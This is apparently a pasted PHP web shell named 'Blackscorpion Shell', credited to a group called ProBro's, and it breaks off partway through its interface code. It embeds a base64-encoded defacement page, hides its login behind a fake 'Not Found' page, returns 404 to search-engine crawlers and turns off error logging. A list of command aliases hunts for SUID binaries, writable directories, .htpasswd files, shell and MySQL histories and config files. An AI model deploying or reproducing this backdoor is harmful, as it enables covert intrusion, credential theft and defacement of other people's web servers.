· 8 years ago · Feb 28, 2018, 01:52 PM
1<?php
2
3
4
5$auth_pass= "b2f3e4e0e14989401b71a435b0500086"; // Default Password is umar
6$color = "#fff300"; // For Changing Font Colors
7$default_charset = 'Windows-1251'; // For Changing Character Set Available Are
8// UTF-8
9// Windows-1251
10// KOI8-R
11// KOI8-U
12// cp866
13 // First Encode Your Deface Page to Base64
14$defacepage ='PGh0bWw+PGhlYWQ+PGxpbmsgcmVsPSJTSE9SVENVVCBJQ09OIiBocmVmPSJodHRwOi8vMy5icC5ibG9nc3BvdC5jb20vLTJndnotT2g1Nlk4L1VfSERiU0NLR2VJL0FBQUFBQUFBRTM0L0lWWENwRm1QekxjL3MxNjAwL1Bha2lzdGFuRmxhZ1dhbGxwYXBlci5qcGciPjx0aXRsZT4gSGFja2VkIEJ5IFByb0JybydzICZndDsmZ3Q7ICZsdDsmbHQ7PC90aXRsZT48ZW1iZWQgc3JjPSJodHRwczovL3d3dy55b3V0dWJlLmNvbS92L0VkRlVaZHJEUl84JiZhdXRvcGxheT0xIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd21vZGU9InRyYW5zcGFyZW50IiB3aWR0aD0iMSIgaGVpZ2h0PSIxIj48L2VtYmVkPjxzY3JpcHQ+YWxlcnQoIlByb0JybydzIFdhcyBUaGVyZSAsIFlvdSBBcmUgSGFja2VkIik8L3NjcmlwdD4NCjxtZXRhIG5hbWU9J2Rlc2NyaXB0aW9uJyBjb250ZW50PSdIYWNrZWQgQnkgNG5kcjN3IGFuZCA0MTN4IH4gR3JlZXR6OjogUjRCIU5EUjQgfiA0bmRyM3cgfiA0bmQgfiA0bDN4ICc+DQo8bWV0YSBuYW1lPSdIYWNrZWQgYnkgNG5kcjN3IDRuZCA0MTN4IFByb0JybydzIH4gVGhpbmsgRGFya2VyJz4gDQo8bWV0YSBodHRwLWVxdWl2PSdjb250ZW50LXR5cGUnIGNvbnRlbnQ9J3RleHQvaHRtbDtjaGFyc2V0PVVURi04Jz4NCjxtZXRhIG5hbWU9J2tleXdvcmRzJyBjb250ZW50PSdIYWNrZWQgYnkgNG5kcjN3IDRuZCA0MTN4LCBQcm9Ccm8ncywgU3BlY2lhbCBUaGFua3MgVG8gQUxJIEtIQU4gREVWSUwgS0lMTEVSLEJsYWNraWUgNG5kIDQxM3gsSGFja2VkIGJ5IFByb2JybydzLEhhY2tlZCBCeSA0bmRyM3csLDQxM3gsUHJvQnJvJ3MgV2FzIEhlcmUnPg0KPGxpbmsgcmVsPSdpY29uJyBocmVmPSdodHRwczovL3Njb250ZW50LmZpc2IzLTEuZm5hLmZiY2RuLm5ldC92L3QzMS4wLTgvMjYxMTQzNjRfMjgyOTIyNjI1NTY0NDAxXzU3MjY2MDY5NTE5NTI2ODAxMzhfby5wbmc/X25jX2V1aTI9djElM0FBZUctZWtCaEJSYWcwLXBPeEo1SmNxOVlUckJlV3NMNkpJX1VRWHZGemxDZ0tIbUQyS3d5LVZ4LWZaY1dsbjUyQXB0V3g0VGF6bjR0cXZJcUtzSmhKbENuel8tOGVvdGU3czloV3dySjU3Y1NFb2tXRkRRZXM0NTMxTnUwQU8zWU9rZyZvaD1lZDRlOTk1Mzk5NjM1MzQ0YWJiYTUwNDhiZjZhYzZmNyZvZT01QUM0N0NFQicgc2l6ZXM9JzE2eDE2Jz4gDQo8bWV0YSBjaGFyc2V0PSd1dGYtOCc+DQo8L3N0eWxlPg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaHR0cDovL2NvZGUuanF1ZXJ5LmNvbS9qcXVlcnktMi4xLjEuanMiPjwvc2NyaXB0Pg0KPGxpbmsgaHJlZj0iaHR0cDovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9SWNlbGFuZCIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyI+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPiANCmJvZHl7DQpiYWNrZ3JvdW5kOiAjRkZGRkZGOw0KZm9udC1mYW1pbHk6IHdpbmRzb25nOw0KZm9udC1zaXplOiAxMnB4Ow0KZm9udC13ZWlnaHQ6IGJvbGQ7DQpmb250LXNpemU6MTJweDsNCmZvbnQtc3R5bGU6IGJvbGQ7DQp9DQo8L3N0eWxlPg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPiANCiANCiAgICAgICAgdmFyIGNoYXJJbmRleCA9IC0xOw0KIA0KICAgICAgICB2YXIgc3RyaW5nTGVuZ3RoID0gMDsNCiANCiAgICAgICAgdmFyIGlucHV0VGV4dDsNCiANCiAgICAgICAgZnVuY3Rpb24gd3JpdGVDb250ZW50KGluaXQpDQogDQogICAgICAgIHsNCiANCiAgICAgICAgICBpZihpbml0KQ0KIA0KICAgICAgICAgIHsNCiANCiAgICAgICAgICAgIGlucHV0VGV4dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjb250ZW50VG9Xcml0ZScpLmlubmVySFRNTDsNCiANCiAgICAgICAgICB9DQogDQogICAgICAgICAgaWYoY2hhckluZGV4PT0tMSkNCiANCiAgICAgICAgICB7DQogDQogICAgICAgICAgICBjaGFySW5kZXggPSAwOw0KIA0KICAgICAgICAgICAgc3RyaW5nTGVuZ3RoID0gaW5wdXRUZXh0Lmxlbmd0aDsNCiANCiAgICAgICAgICB9DQogDQogICAgICAgICAgdmFyIGluaXRTdHJpbmcgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbXlDb250ZW50JykuaW5uZXJIVE1MOw0KIA0KICAgICAgICAgIGluaXRTdHJpbmcgPSBpbml0U3RyaW5nLnJlcGxhY2UoLzxTUEFOLiokL2dpLCIiKTsNCiANCiANCiANCiAgICAgICAgICB2YXIgdGhlQ2hhciA9IGlucHV0VGV4dC5jaGFyQXQoY2hhckluZGV4KTsNCiANCiAgICAgICAgICB2YXIgbmV4dEZvdXJDaGFycyA9IGlucHV0VGV4dC5zdWJzdHIoY2hhckluZGV4LDQpOw0KIA0KICAgICAgICAgIGlmKG5leHRGb3VyQ2hhcnM9PSc8QlI+JyB8fCBuZXh0Rm91ckNoYXJzPT0nPGJyPicpDQogDQogICAgICAgICAgew0KIA0KICAgICAgICAgICAgdGhlQ2hhciAgPSAnPEJSPic7DQogDQogICAgICAgICAgICBjaGFySW5kZXgrPTM7DQogDQogICAgICAgICAgfQ0KIA0KICAgICAgICAgIGluaXRTdHJpbmcgPSBpbml0U3RyaW5nICsgdGhlQ2hhciArICI8U1BBTiBpZD0nYmxpbmsnPj48L1NQQU4+IjsNCiANCiAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbXlDb250ZW50JykuaW5uZXJIVE1MID0gaW5pdFN0cmluZzsNCiANCiANCiANCiAgICAgICAgICBjaGFySW5kZXggPSBjaGFySW5kZXgvMSArMTsNCiANCiAgICAgICAgICBpZihjaGFySW5kZXglMj09MSkNCiANCiAgICAgICAgICB7DQogDQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmxpbmsnKS5zdHlsZS5kaXNwbGF5PSdub25lJzsNCiANCiAgICAgICAgICB9DQogDQogICAgICAgICAgZWxzZQ0KIA0KICAgICAgICAgIHsNCiANCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdibGluaycpLnN0eWxlLmRpc3BsYXk9J2lubGluZSc7DQogDQogICAgICAgICAgfQ0KIA0KICAgICAgICAgIGlmKGNoYXJJbmRleDw9c3RyaW5nTGVuZ3RoKQ0KIA0KICAgICAgICAgIHsNCiANCiAgICAgICAgICAgIHNldFRpbWVvdXQoJ3dyaXRlQ29udGVudChmYWxzZSknLDEwMCk7DQogDQogICAgICAgICAgfQ0KIA0KICAgICAgICAgIGVsc2UNCiANCiAgICAgICAgICB7DQogDQogICAgICAgICAgICBibGlua1NwYW4oKTsNCiANCiAgICAgICAgICB9DQogDQogICAgICAgIH0NCiANCiAgICAgICAgdmFyIGN1cnJlbnRTdHlsZSA9ICdpbmxpbmUnOw0KIA0KICAgICAgICBmdW5jdGlvbiBibGlua1NwYW4oKQ0KIA0KICAgICAgICB7DQogDQogICAgICAgICAgaWYoY3VycmVudFN0eWxlPT0naW5saW5lJykNCiANCiAgICAgICAgICB7DQogDQogICAgICAgICAgICBjdXJyZW50U3R5bGU9J25vbmUnOw0KIA0KICAgICAgICAgIH0NCiANCiAgICAgICAgICBlbHNlDQogDQogICAgICAgICAgew0KIA0KICAgICAgICAgICAgY3VycmVudFN0eWxlPSdpbmxpbmUnOw0KIA0KICAgICAgICAgIH0NCiANCiAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmxpbmsnKS5zdHlsZS5kaXNwbGF5ID0gY3VycmVudFN0eWxlOw0KIA0KICAgICAgICAgIHNldFRpbWVvdXQoJ2JsaW5rU3BhbigpJyw0MDApOw0KIA0KICAgICAgICB9DQoNCiAgICAgICAgbXNnID0gIjw8IEhhY2tlZCBieSA0bmRyM3cgNG5kIDQxM3ggPj4iOw0KIA0KIA0KIA0KICAgICAgICBtc2cgPSAiICIgKyBtc2c7cG9zID0gMDsNCiANCiAgICAgICAgZnVuY3Rpb24gc2Nyb2xsTVNHKCkNCiANCiAgICAgICAgew0KIA0KICAgICAgICAgIGRvY3VtZW50LnRpdGxlID0gbXNnLnN1YnN0cmluZyhwb3MsIG1zZy5sZW5ndGgpICsgbXNnLnN1YnN0cmluZygwLCBwb3MpOw0KIA0KICAgICAgICAgIHBvcysrOw0KIA0KICAgICAgICAgIGlmIChwb3MgPiAgbXNnLmxlbmd0aCkgcG9zID0gMA0KIA0KICAgICAgICAgIHdpbmRvdy5zZXRUaW1lb3V0KCJzY3JvbGxNU0coKSIsMTAwKTsNCiANCiAgICAgICAgfQ0KIA0KICAgICAgICBzY3JvbGxNU0coKTsNCiANCiAgICAgIDwvc2NyaXB0Pg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KDQpmdW5jdGlvbiBtaXNjaGFuZGxlcigpew0KcmV0dXJuIGZhbHNlOw0KfQ0KDQpmdW5jdGlvbiBtb3VzZWhhbmRsZXIoZSl7DQp2YXIgbXlldmVudCA9IChpc05TKSA/IGUgOiBldmVudDsNCnZhciBldmVudGJ1dHRvbiA9IChpc05TKSA/IG15ZXZlbnQud2hpY2ggOiBteWV2ZW50LmJ1dHRvbjsNCmlmKChldmVudGJ1dHRvbj09Mil8fChldmVudGJ1dHRvbj09MykpIHJldHVybiBmYWxzZTsNCn0NCmRvY3VtZW50Lm9uY29udGV4dG1lbnUgPSBtaXNjaGFuZGxlcjsNCmRvY3VtZW50Lm9ubW91c2Vkb3duID0gbW91c2VoYW5kbGVyOw0KZG9jdW1lbnQub25tb3VzZXVwID0gbW91c2VoYW5kbGVyOw0KdmFyIGlzQ3RybCA9IGZhbHNlOw0KICAgIGRvY3VtZW50Lm9ua2V5dXA9ZnVuY3Rpb24oZSkNCiAgICB7DQogICAgaWYoZS53aGljaCA9PSAxNykNCiAgICBpc0N0cmw9ZmFsc2U7DQogICAgfQ0KDQogICAgZG9jdW1lbnQub25rZXlkb3duPWZ1bmN0aW9uKGUpDQogICAgew0KICAgIGlmKGUud2hpY2ggPT0gMTcpDQogICAgaXNDdHJsPXRydWU7DQogICAgaWYoKGUud2hpY2ggPT0gODUpIHx8IChlLndoaWNoID09IDY3KSAmJiBpc0N0cmwgPT0gdHJ1ZSkNCiAgICB7DQogICAgLy8gYWxlcnQoJiM4MjE2O0tleWJvYXJkIHNob3J0Y3V0cyBhcmUgY29vbCEmIzgyMTc7KTsNCiAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KICAgIH0NCg0KDQo8L3NjcmlwdD4NCjxzdHlsZT4NCip7bWFyZ2luOiAwOyBwYWRkaW5nOiAwO30NCmJvZHkge2JhY2tncm91bmQ6ICMwMDAwMDA7IHNjcm9sbGJhci10cmFjay1jb2xvcjogIzAwMDAwMDtzY3JvbGxiYXItZGFya3NoYWRvdy1jb2xvcjogIzAwMDAwMDsgc2Nyb2xsYmFyLWZhY2UtY29sb3I6ICMwMDAwMDA7IHNjcm9sbGJhci1zaGFkb3ctY29sb3I6ICNGRkZGRkY7IHNjcm9sbGJhci1oaWdobGlnaHQtY29sb3I6ICNGRkZGRkY7IHNjcm9sbGJhci0zZGxpZ2h0LWNvbG9yOiAjMDAwMDAwOyAgc2Nyb2xsYmFyLWFycm93LWNvbG9yOiAjRkZGRkZGOyBjb2xvcjojOEU5NTlFIH0NCi5uYW1lIHsgdGV4dC1kZWNvcmF0aW9uOiBub25lO30NCkAtbW96LWtleWZyYW1lcyByb2xsIHsgMTAwJSB7IC1tb3otdHJhbnNmb3JtOiByb3RhdGUoMTQ0MGRlZyk7IH0gfQ0KQC1vLWtleWZyYW1lcyByb2xsIHsgMTAwJSB7IC1vLXRyYW5zZm9ybTogcm90YXRlKDE0NDBkZWcpOyB9IH0NCkAtd2Via2l0LWtleWZyYW1lcyByb2xsIHsgMTAwJSB7IC13ZWJraXQtdHJhbnNmb3JtOiByb3RhdGUoMTQ0MGRlZyk7IH0gfQ0KYm9keXstbW96LWFuaW1hdGlvbi1uYW1lOiByb2xsOw0KLW1vei1hbmltYXRpb24tZHVyYXRpb246IDZzOw0KLW1vei1hbmltYXRpb24taXRlcmF0aW9uLWNvdW50OiAxOw0KLW8tYW5pbWF0aW9uLW5hbWU6IHJvbGw7DQotby1hbmltYXRpb24tZHVyYXRpb246IDZzOw0KLW8tYW5pbWF0aW9uLWl0ZXJhdGlvbi1jb3VudDogMTsNCi13ZWJraXQtYW5pbWF0aW9uLW5hbWU6IHJvbGw7DQotd2Via2l0LWFuaW1hdGlvbi1kdXJhdGlvbjogNXM7DQotd2Via2l0LWFuaW1hdGlvbi1pdGVyYXRpb24tY291bnQ6IDE7fQ0KPC9zdHlsZT4NCjxzY3JpcHQ+DQpmdW5jdGlvbiBkZXRhaWxzKCkge3dpbmRvdy5vcGVuKCIiKTt3aW5kb3cub3BlbigiIik7fTwvc2NyaXB0Pg0KDQo8YnI+PGJyPjxicj4NCg0KPHAgYWxpZ249ImNlbnRlciI+PGltZyBzcmM9Imh0dHBzOi8vc2NvbnRlbnQuZmlzYjMtMS5mbmEuZmJjZG4ubmV0L3YvdDEuMC05LzI0OTA5ODk2XzE4OTY3MDIzMTU4MjgyMl81NjU1MDQzNjYwNDQ3NjExOTQwX24uanBnP19uY19ldWkyPXYxJTNBQWVIMmFhTkhxVVRXcEZ3S0N1QzNPTU13dW1yVXhDY1BmeHBUdkQwSlB3Z3d1Q1VZTjVwX20tWEYzdHFiNEJzYmM0VUREdF9VOWg3U3NyZ2ZGSGFRd2owdkwxMDR0TEFMcEpvMTdyM0N2YUlQZ2RhcHF4bUx6Wl9pNVBJd2hOOWNhR2cmb2g9ZTY1NmUwOGY1MmMwYTE1NmVhNjljOWEyODk5N2I0MWImb2U9NUFGNUUwOEIiIHdpZHRoPSJhdXRvIiBoZWlnaHQ9IjMwMHB4Ij48L3A+DQo8YnI+PGJyPjxicj48YnI+PGJyPg0KPGNlbnRlcj4NCgkJCSA8Zm9udCBmYWNlPSJJY2VsYW5kIiBzaXplPSIxMDAiIGNvbG9yPSJncmVlbiI+DQoJCQkgPG1hcnF1ZWUgZGlyZWN0aW9uPSJsZWZ0IiBzY3JvbGxhbW91bnQ9IjE1IiBzY3JvbGxkZWxheT0iMTAwIiB3aWR0aD0iOTglIiBzdHlsZT0id2lkdGg6IDk4JTsiPg0KCQkJIDxoMT4gSGFja2VkIGJ5IDxzdHJvbmc+IFByPGZvbnQgY29sb3I9InJlZCI+bzwvZm9udD5Ccm8nczwvc3Ryb25nPjwvaDE+DQoJCQkgPC9tYXJxdWVlPg0KCQkJIDwvZm9udD4NCjwvY2VudGVyPg0KPGJyPjxicj48YnI+DQo8Y2VudGVyPjxmb250IGZhY2U9IkljZWxhbmQiIGNvbG9yPSJncmVlbiIgc2l6ZT0iMTIiPlByb0JybydzDQo8YnI+VGhpbmsgRGVlcGVyIDxmb250IGNvbG9yPSJyZWQiPlRoaW5rIERhcmtlcjwvZm9udD4gSGFja2VkIGJ5IEJsYWNrU2NvcnAgKDRuZHIzdykNCg0KPGJyPjxicj48YnI+PGJyPldlIERlZmVuZCAsIDxmb250IGNvbG9yPSJyZWQiPnx8PC9mb250PiBXZSBSZXZlbmdlLA0KPGJyPjxmb250IGNvbG9yPSJyZWQiIHNpemU9IjYiPsKpPC9mb250PiA8Zm9udCBjb2xvcj0iZ3JlZW4iIHNpemU9IjEyIj4gUHJvQnJvJ3M8Zm9udCBjb2xvcj0icmVkIj5IYWNrZXJzIDwvZm9udD4gQXJlIE5vdyBJbiBBY3Rpb248Zm9udCBjb2xvcj0iZ3JlZW4iPjwvZm9udD48YnI+PGJyPg0KDQo8Zm9udCBjb2xvcj0iZ3JlZW4iIHNpemU9IjYiPjxmb250IGNvbG9yPSJyZWQiPiM8L2ZvbnQ+VGVhbSA6DQo8YnI+PC9mb250PiBCbGFjayBTY29ycCA8Zm9udCBjb2xvcj0icmVkIj48L2ZvbnQ+ICA8Zm9udCBjb2xvcj0icmVkIj58fDwvZm9udD5TMDcwX0g0WDBSIHx8PGZvbnQgY29sb3I9InJlZCI+PC9mb250PiA0bDN4ICB8fDxmb250IGNvbG9yPSJyZWQiPjwvZm9udD4NCjxicj48Zm9udCBjb2xvcj0icmVkIj58fDwvZm9udD5TdWRpIHx8PGZvbnQgY29sb3I9InJlZCI+fHw8L2ZvbnQ+IEZyb3N0Qnl0ZSA8Zm9udCBjb2xvcj0icmVkIj58fDwvZm9udD5TaGsgVjNuMG08Zm9udCBjb2xvcj0icmVkIj58fDwvZm9udD4gU3BlY2lhbCBUaGFua3MgdG8gRGV2aWwgS2lsbGVyIDxmb250IGNvbG9yPSJyZWQiPnx8PC9mb250PiBBbGwgUHJvQnJvJ3MgVGVhbQ0KPGJyPiA8Zm9udCBjb2xvcj0icmVkIj48L2ZvbnQ+IA0KPGJyPjxmb250IGNvbG9yPSJyZWQiPiM8L2ZvbnQ+UHJvQnJvJ3MgSW4gQ29vbCBBY3Rpb24NCjxicj48Zm9udCBjb2xvcj0icmVkIj4jPC9mb250PkNvbnRhY3QgOiBodHRwczovL2ZhY2Vib29rLmNvbS88Zm9udCBjb2xvcj0icmVkIj5wcm88L2ZvbnQ+YnJvc3g8L2ZvbnQ+DQo8YnI+PGJyPjxicj4NCg0KDQo8cCBhbGlnbj0iY2VudGVyIj48Zm9udCBzaXplPSI2IiBmYWNlPSJJY2VsYW5kIiBjb2xvcj0iY2MwMDAwIj48Zm9udCBjb2xvcj0id2hpdGUiPiAgICA8aW1nIHdpZHRoPSI3MDAiIGhlaWdodD0iOCIgYm9yZGVyPSIwIiBhbHQ9IiIgc3JjPSJodHRwOi8vd3d3Ni4wenowLmNvbS8yMDExLzAzLzE0LzA2LzI2OTIwNTk1Ny5naWYiPjxicj4NCjwvZm9udD48Zm9udCBzdHlsZT0iZm9udC1zaXplOiAxMXB0Ij48Zm9udCBmYWNlPSJJY2VsYW5kIiBjb2xvcj0iRjBGOEZGICI+ICAgPC9mb250Pjxmb250IGZhY2U9IkljZWxhbmQiIGNvbG9yPSJ3aGl0ZSI+IDwvZm9udD4gICA8bWFycXVlZSB3aWR0aD0iNTAlIiBiZWhhdmlvcj0ic2Nyb2xsIiBkaXJlY3Rpb249ImxlZnQiIHNjcm9sbGFtb3VudD0iMiIgc2Nyb2xsZGVsYXk9IjIwIiBzdHlsZT0id2lkdGg6IDUwJTsiPg0KPGZvbnQgY29sb3I9ImdyZWVuIj48L2ZvbnQ+PGgxPjxmb250IGNvbG9yPSJncmVlbiI+fHw8L2ZvbnQ+IFByb0JybydzIC0gPGZvbnQgY29sb3I9ImdyZWVuIj53YXMgPC9mb250PlRoPGZvbnQgY29sb3I9ImdyZWVuIj5lcmU8L2ZvbnQ+IC4gWW91IEFyZSBTdGFtcGVkPGZvbnQgY29sb3I9ImdyZWVuIj58fDwvZm9udD48L2gxPjwvbWFycXVlZT4NCjxpbWcgd2lkdGg9IjcwMCIgaGVpZ2h0PSI4IiBib3JkZXI9IjAiIGFsdD0iIiBzcmM9Imh0dHA6Ly93d3c2LjB6ejAuY29tLzIwMTEvMDMvMTQvMDYvMjY5MjA1OTU3LmdpZiI+PGJyPg0KPC9mb250PjwvZm9udD48L3A+DQo8YnI+DQoNCg0KDQo8L2ZvbnQ+PC9jZW50ZXI+PC9mb250PjwvYm9keT48L2h0bWw+';
15 // =========================== Special Thanks to Ali Khan For Shells ====================== //
16$default_action = 'FilesMan';
17$default_use_ajax = true;
18if(!empty($_SERVER['HTTP_USER_AGENT'])) {
19 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
20 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
21 header('HTTP/1.0 404 Not Found');
22 exit;
23 }
24}
25@ini_set('error_log',NULL);
26@ini_set('log_errors',0);
27@ini_set('max_execution_time',0);
28@set_time_limit(0);
29@define('Blackscorpion Shell');
30if(get_magic_quotes_gpc()) {
31 function Blackscorpionstripslashes($array) {
32 return is_array($array) ? array_map('Blackscorpionstripslashes', $array) : stripslashes($array);
33 }
34 $_POST = Blackscorpionstripslashes($_POST);
35 $_COOKIE = Blackscorpionstripslashes($_COOKIE);
36}
37function Blackscorpion() {
38 die ('<!DOCTYPE html>
39<html>
40 <head>
41 <title>Not Found</title>
42 <meta charset="UTF-8">
43 <meta http-equiv="refresh" content=""> <!-- For Refreshing after ____ interval of time -->
44 <meta name="description" content="Sites description">
45 <meta name="about" content="Made By BlackScorp">
46
47 <meta name="description" content="Not Found">
48 <style>
49 .body {
50
51 text-transform: capitalize;
52
53
54
55 background-repeat:no-repeat;
56 background-position: center;
57 background-attachment: fixed;
58 -webkit-background-size: cover;
59 -moz-background-size: cover;
60 -o-background-size: cover;
61 background-size: cover;
62 }
63
64 .h1{ color=black;}
65 .font {
66 font-family: calibri;
67 font-size: 300%;
68 text-align: center;
69 color: white;
70 }
71 .upass {
72
73 font-family: calibri;
74 font-size: 100%;
75 text-align: center;
76 color: black;
77 }
78 .input {
79 margin:0;background-color:white;border:1px solid white;
80 }
81 </style>
82 <script language="JavaScript1.2">
83 function ejs_nodroit(){
84 alert("Login Please!");
85 return(false);
86 }
87 document.oncontextmenu = ejs_nodroit;
88 </script>
89 </head>
90
91 <body class="body">
92<h1>Not Found</h1>
93
94<p>The requested URL was not found on this server</p>
95<p>Additionally, URL not Found error was encountered while trying to use an ErrorDocument to handle the request</p>
96 <div class="font">
97 <font></font><br>
98 </div>
99 <div class="upass">
100 <form method=post>
101 <input class="input" type="password" name="pass" size="25"/>
102 </form>
103 </div>
104 </body>
105</html>');
106}
107function BlackscorpionsetCoockie($k, $v) {
108 $_COOKIE[$k] = $v;
109 setcookie($k, $v);
110}
111if(!empty($auth_pass)) {
112 if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
113 BlackscorpionsetCoockie(md5($_SERVER['HTTP_HOST']), $auth_pass);
114 if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
115 Blackscorpion();
116}
117if(strtolower(substr(PHP_OS,0,3)) == "win")
118 $os = 'win';
119else
120 $os = 'nix';
121$safe_mode = @ini_get('safe_mode');
122if(!$safe_mode)
123 error_reporting(0);
124$disable_functions = @ini_get('disable_functions');
125$home_cwd = @getcwd();
126if(isset($_POST['c']))
127 @chdir($_POST['c']);
128$cwd = @getcwd();
129if($os == 'win') {
130 $home_cwd = str_replace("\\", "/", $home_cwd);
131 $cwd = str_replace("\\", "/", $cwd);
132}
133if($cwd[strlen($cwd)-1] != '/')
134 $cwd .= '/';
135if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
136 $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
137if($os == 'win')
138 $aliases = array(
139 "List Directory" => "dir",
140 "Find index.php in current dir" => "dir /s /w /b index.php",
141 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
142 "Show active connections" => "netstat -an",
143 "Show running services" => "net start",
144 "User accounts" => "net user",
145 "Show computers" => "net view",
146 "ARP Table" => "arp -a",
147 "IP Configuration" => "ipconfig /all"
148 );
149else
150 $aliases = array(
151 "List dir" => "ls -lha",
152 "list file attributes on a Linux second extended file system" => "lsattr -va",
153 "show opened ports" => "netstat -an | grep -i listen",
154 "process status" => "ps aux",
155 "Find" => "",
156 "find suid" => "find / -type f -perm -04000 -ls",
157 "find suid in current dir" => "find . -type f -perm -04000 -ls",
158 "find sgid" => "find / -type f -perm -02000 -ls",
159 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
160 "find config.inc.php" => "find / -type f -name config.inc.php",
161 "find config*" => "find / -type f -name \"config*\"",
162 "find config* in current dir" => "find . -type f -name \"config*\"",
163 "find writable folders and files" => "find / -perm -2 -ls",
164 "find writable folders and files in current dir" => "find . -perm -2 -ls",
165 "find service.pwd" => "find / -type f -name service.pwd",
166 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
167 "find .htpasswd" => "find / -type f -name .htpasswd",
168 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
169 "find .bash_history" => "find / -type f -name .bash_history",
170 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
171 "find .fetchmailrc" => "find / -type f -name .fetchmailrc",
172 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
173 "Locate" => "",
174 "locate httpd.conf" => "locate httpd.conf",
175 "locate vhosts.conf" => "locate vhosts.conf",
176 "locate proftpd.conf" => "locate proftpd.conf",
177 "locate psybnc.conf" => "locate psybnc.conf",
178 "locate my.conf" => "locate my.conf",
179 "locate admin.php" =>"locate admin.php",
180 "locate cfg.php" => "locate cfg.php",
181 "locate conf.php" => "locate conf.php",
182 "locate config.dat" => "locate config.dat",
183 "locate config.php" => "locate config.php",
184 "locate config.inc" => "locate config.inc",
185 "locate config.inc.php" => "locate config.inc.php",
186 "locate config.default.php" => "locate config.default.php",
187 "locate config*" => "locate config",
188 "locate .conf"=>"locate '.conf'",
189 "locate .pwd" => "locate '.pwd'",
190 "locate .sql" => "locate '.sql'",
191 "locate .htpasswd" => "locate '.htpasswd'",
192 "locate .bash_history" => "locate '.bash_history'",
193 "locate .mysql_history" => "locate '.mysql_history'",
194 "locate .fetchmailrc" => "locate '.fetchmailrc'",
195 "locate backup" => "locate backup",
196 "locate dump" => "locate dump",
197 "locate priv" => "locate priv"
198 );
199function BlackscorpionHeader() {
200 if(empty($_POST['charset']))
201 $_POST['charset'] = $GLOBALS['default_charset'];
202 global $color;
203 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><link rel='SHORTCUT ICON' href='http://i66.tinypic.com/2j33a85.jpg'><title>Blackscorpion Shell</title>
204<script type='text/javascript'>
205function tukar(lama,baru){
206 document.getElementById(lama).style.display = 'none';
207 document.getElementById(baru).style.display = 'block';
208}
209</script>";
210 ?>
211
212<script language='javascript'>
213if (document.all||document.getElementById){
214var thetitle=document.title
215document.title=''
216}
217var data="Team ProBros | Blackscorpion";
218var done=1;
219function statusIn(text){
220decrypt(text,22,22);
221}
222function statusOut(){
223self.status='';
224done=1;
225}
226function decrypt(text, max, delay){
227if (done){
228done = 0;
229rantit(text, max, delay, 0, max);
230}
231}
232function rantit(text, runs_left, delay, charvar, max){
233if (!done){
234runs_left = runs_left - 1;
235var status = text.substring(0,charvar);
236for(var current_char = charvar; current_char < text.length; current_char++){
237status += data.charAt(Math.round(Math.random()*data.length));
238}
239document.title = status;
240var rerun = "rantit('" + text + "'," + runs_left + "," + delay + "," + charvar + "," + max + ");"
241var new_char = charvar + 1;
242var next_char = "rantit('" + text + "'," + max + "," + delay + "," + new_char + "," + max + ");"
243if(runs_left > 0){
244setTimeout(rerun, delay);
245}
246else{
247if (charvar < text.length){
248setTimeout(next_char, Math.round(delay*(charvar+3)/(charvar+1)));
249}
250else
251{
252done = 1;
253}
254}
255}
256}
257if (document.all||document.getElementById)
258statusIn(thetitle)
259</script>
260
261 <?php
262 echo "
263<style>
264body{background-color:#222;color:#00f80c;}
265body,td,th{ font: 10pt Comic Sans MS, sans-serif;margin:0;vertical-align:top;color:#00f80c; }
266table.info{ color:#fff;background: url('http://i68.tinypic.com/11bt5za.jpg');
267 background-repeat:no-repeat;
268 background-position: top;
269 background-attachment: fixed;
270 -webkit-background-size: cover;
271 -moz-background-size: cover;
272 -o-background-size: cover;
273 background-size: cover;}
274span,h1,a{ color: $color !important; }
275span{ font-weight: bolder; }
276h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:teal;margin:0px; }
277div.content{ padding: 5px;margin-left:5px;background-color:#333; }
278a{ text-decoration:none; }
279a:hover{ text-decoration:underline; }
280.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
281.bigarea{ width:100%;height:300px; }
282input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
283input[type='button']:hover,input[type='submit']:hover {background-color: $color;color:#000;}
284form{ margin:0px; }
285#toolsTbl{ text-align:center; }
286.toolsInp{ width: 300px }
287.main th{text-align:left;background-color:#5e5e5e;}
288.main tr:hover{background-color:#5e5e5e}
289.l1{background-color:#444}
290.l2{background-color:#333}
291pre{font-family:Courier,Monospace;}
292</style>
293<script>
